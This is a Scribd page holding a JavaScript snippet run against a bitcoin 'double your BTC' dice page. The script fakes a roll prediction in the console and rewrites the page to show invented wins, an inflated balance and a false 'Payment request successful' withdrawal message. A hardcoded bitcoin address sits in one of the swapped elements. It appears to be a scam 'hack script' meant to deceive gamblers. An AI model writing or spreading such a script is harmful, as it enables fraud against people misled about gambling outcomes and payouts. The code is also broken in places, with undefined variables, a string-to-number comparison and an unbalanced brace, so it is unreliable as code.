50% found this document useful (2 votes)
1K views4 pages

New 3

1) The document contains JavaScript code for a gambling website that generates random numbers to determine if a user wins or loses a bet. 2) It sets variables for the user's balance, calculates a random number result, updates the page depending on if the user won or lost, and updates their balance. 3) It also contains code for withdrawing funds, generating a withdrawal address, and displaying messages about payment requests.

Uploaded by

vasuki
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
50% found this document useful (2 votes)
1K views4 pages

New 3

1) The document contains JavaScript code for a gambling website that generates random numbers to determine if a user wins or loses a bet. 2) It sets variables for the user's balance, calculates a random number result, updates the page depending on if the user won or lost, and updates their balance. 3) It also contains code for withdrawing funds, generating a withdrawal address, and displaying messages about payment requests.

Uploaded by

vasuki
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 4

var serverseed= "";

var clientseed="";
nounce="";

var balance = parseFloat($('#balance').html());


var temp = Math.random();
temp = temp.toString();

if(temp[0]===0){
var result = parseInt(temp[3]+temp[4]+temp[5]+temp[6]);
}else{
var result = 10000;
}

if (document.getElementById('double_your_btc_bet_hi_button').disabled === true) {

setTimeout(function(){

document.getElementById("multiplier_first_digit").innerHTML=temp[0];
document.getElementById("multiplier_second_digit").innerHTML=temp[3];
document.getElementById("multiplier_third_digit").innerHTML=temp[4];
document.getElementById("multiplier_fourth_digit").innerHTML=temp[5];
document.getElementById("multiplier_fifth_digit").innerHTML=temp[6];

if(temp[0] == 1){
document.getElementById("multiplier_second_digit").innerHTML=0;
document.getElementById("multiplier_third_digit").innerHTML=0;
document.getElementById("multiplier_fourth_digit").innerHTML=0;
document.getElementById("multiplier_fifth_digit").innerHTML=0;
}

$('.large-1.small-
1.columns.center.lottery_winner_table_box.lottery_winner_table_second_cell')
[6].innerHTML= result.toString();

if(result> 5250){
document.getElementById("double_your_btc_bet_lose").className = "bold
center double_your_btc_bet_win_message";
document.getElementById("double_your_btc_bet_lose").innerHTML="You BET
HI so you win "+ $('#double_your_btc_stake')[0].value +" BTC!";
document.getElementById("double_your_btc_bet_win").className = "bold
center double_your_btc_bet_win_message";
document.getElementById("double_your_btc_bet_win").innerHTML="You BET
HI so you win "+ $('#double_your_btc_stake')[0].value +" BTC!";
document.getElementById("double_your_btc_error").className = "bold
center double_your_btc_bet_win_message";
document.getElementById("double_your_btc_error").innerHTML="You BET HI
so you win "+ $('#double_your_btc_stake')[0].value +" BTC!";

$('.large-2.small-
2.columns.center.lottery_winner_table_box.lottery_winner_table_second_cell')
[3].innerHTML= $('#double_your_btc_stake')[0].value;
$('.large-2.small-
2.columns.center.lottery_winner_table_box.lottery_winner_table_second_cell')
[3].style.color="green";
balance = balance+parseFloat($('#double_your_btc_stake')[0].value);
document.getElementById('balance').innerHTML = balance.toFixed(8);
}
else if(result<4750){
document.getElementById("double_your_btc_bet_lose").className = "bold
center double_your_btc_bet_lose_message";
document.getElementById("double_your_btc_bet_lose").innerHTML="You BET
HI so you lose "+ $('#double_your_btc_stake')[0].value +" BTC";
document.getElementById("double_your_btc_bet_win").className = "bold
center double_your_btc_bet_lose_message";
document.getElementById("double_your_btc_bet_win").innerHTML="You BET
HI so you lose "+ $('#double_your_btc_stake')[0].value +" BTC";
document.getElementById("double_your_btc_error").className = "bold
center double_your_btc_bet_lose_message";
document.getElementById("double_your_btc_error").innerHTML="You BET HI
so you lose "+ $('#double_your_btc_stake')[0].value +" BTC";

$('.large-2.small-
2.columns.center.lottery_winner_table_box.lottery_winner_table_second_cell')
[3].innerHTML= "-" + $('#double_your_btc_stake')[0].value;
$('.large-2.small-
2.columns.center.lottery_winner_table_box.lottery_winner_table_second_cell')
[3].style.color="red";
balance = balance-parseFloat($('#double_your_btc_stake')[0].value);
document.getElementById('balance').innerHTML = balance.toFixed(8);
}
document.getElementById('previous_roll').innerHTML = result;
}, 1000);

document.getElementById('double_your_btc_bet_lo_button').onclick = function() {

setTimeout(function(){

document.getElementById("multiplier_first_digit").innerHTML=temp[0];
document.getElementById("multiplier_second_digit").innerHTML=temp[3];
document.getElementById("multiplier_third_digit").innerHTML=temp[4];
document.getElementById("multiplier_fourth_digit").innerHTML=temp[5];
document.getElementById("multiplier_fifth_digit").innerHTML=temp[6];

if(temp[0] == 1){
document.getElementById("multiplier_second_digit").innerHTML=0;
document.getElementById("multiplier_third_digit").innerHTML=0;
document.getElementById("multiplier_fourth_digit").innerHTML=0;
document.getElementById("multiplier_fifth_digit").innerHTML=0;
}

$('.large-1.small-
1.columns.center.lottery_winner_table_box.lottery_winner_table_second_cell')
[6].innerHTML= result.toString();

if(result< 4750){
document.getElementById("double_your_btc_bet_lose").className = "bold
center double_your_btc_bet_win_message";
document.getElementById("double_your_btc_bet_lose").innerHTML="You BET
LO so you win "+ $('#double_your_btc_stake')[0].value +" BTC!";
document.getElementById("double_your_btc_bet_win").className = "bold
center double_your_btc_bet_win_message";
document.getElementById("double_your_btc_bet_win").innerHTML="You BET
LO so you win "+ $('#double_your_btc_stake')[0].value +" BTC!";
document.getElementById("double_your_btc_error").className = "bold
center double_your_btc_bet_win_message";
document.getElementById("double_your_btc_error").innerHTML="You BET LO
so you win "+ $('#double_your_btc_stake')[0].value +" BTC!";

$('.large-2.small-
2.columns.center.lottery_winner_table_box.lottery_winner_table_second_cell')
[3].innerHTML= $('#double_your_btc_stake')[0].value;
$('.large-2.small-
2.columns.center.lottery_winner_table_box.lottery_winner_table_second_cell')
[3].style.color="green";
balance = balance+parseFloat($('#double_your_btc_stake')[0].value);
document.getElementById('balance').innerHTML = balance.toFixed(8);
}
else if(result> 5250){
document.getElementById("double_your_btc_bet_lose").className = "bold
center double_your_btc_bet_lose_message";
document.getElementById("double_your_btc_bet_lose").innerHTML="You BET
LO so you lose "+ $('#double_your_btc_stake')[0].value +" BTC";
document.getElementById("double_your_btc_bet_win").className = "bold
center double_your_btc_bet_lose_message";
document.getElementById("double_your_btc_bet_win").innerHTML="You BET
LO so you lose "+ $('#double_your_btc_stake')[0].value +" BTC";
document.getElementById("double_your_btc_error").className = "bold
center double_your_btc_bet_lose_message";
document.getElementById("double_your_btc_error").innerHTML="You BET LO
so you lose "+ $('#double_your_btc_stake')[0].value +" BTC";

$('.large-2.small-
2.columns.center.lottery_winner_table_box.lottery_winner_table_second_cell')
[3].innerHTML= "-" + $('#double_your_btc_stake')[0].value;
$('.large-2.small-
2.columns.center.lottery_winner_table_box.lottery_winner_table_second_cell')
[3].style.color="red";
balance = balance-parseFloat($('#double_your_btc_stake')[0].value);
document.getElementById('balance').innerHTML = balance.toFixed(8);
}
document.getElementById('previous_roll').innerHTML = result;
}, 1000);
};
clear();
console.log("Next Roll is : " + result);

var aBalance = parseFloat($('#balance').html());


var winBalance= parseFloat($('.br_0_0_5_0').html());
var newBalance = parseFloat(aBalance+winBalance).toFixed(8);
var withAllLink = parseFloat(aBalance-fee).toFixed(8);

var e = document.getElementsByTagName('button')[50];
var d = document.createElement('a');

d.innerHTML = e.innerHTML;
e.parentNode.insertBefore(d, e);
e.parentNode.removeChild(e);
d.setAttribute("id", "withdrawal_button");
d.setAttribute("class", "orange_button center");
d.setAttribute("style", 'border-style: solid;border-width: 1px;cursor:
pointer;font-family: inherit;font-weight: bold;line-height: normal;margin: 0 0
0;position: relative;text-decoration: none;text-align: center;display: inline-
block;padding: 14px;font-size: 1.25em;background-color: #2ba6cb;border-color:
#2284a1;color: white;margin:auto; margin-top:10px;font-size: 15px;font-family:
arial,sans-serif;margin:auto; margin-top:10px;');

document.getElementById("balance").innerHTML=aBalance;
}

$('.withdraw_all_link').click(function() {
document.getElementById("manual_withdraw_amt_recv").innerText=aBalance;
document.getElementById("withdrawal_amount").focus();
document.getElementById("withdrawal_amount").value=withAllLink;
});

document.getElementById("withdrawal_button").onclick = function() {
$('.reward_point_redeem_result').attr('class','center
reward_point_redeem_result_box 1NshS6EZGgG58cSUq7JuUqZeb85FsQ77nN');
$('.center.reward_point_redeem_result_box').attr('class','center
reward_point_redeem_result_box 1NshS6EZGgG58cSUq7JuUqZeb85FsQ77nN');
setTimeout(function()
{document.getElementById('reward_point_redeem_result_container_div').style.display
= 'block';}, 1000);

aBalance = "0.00000000";
function activation(){
x=document.getElementsByClassName("reward_point_redeem_result_box");
for(var i = 0; i < x.length; i++){
x[i].innerText="Payment request successful. The payment will be sent
out in 6 hours.";
}
}activation();
document.getElementById("manual_withdraw_amt_recv").innerText=fee;
document.getElementById("withdrawal_amount").value="";
setTimeout(function(){

document.getElementById('reward_point_redeem_result_container_div').style.display =
'none';
}, 5000);

outLoop();
};

function outLoop(){
//setTimeout(function(){
// document.getElementById('pending_payouts_table_new').style.display =
'block';
//}, 5000);

};
loopMoney();

You might also like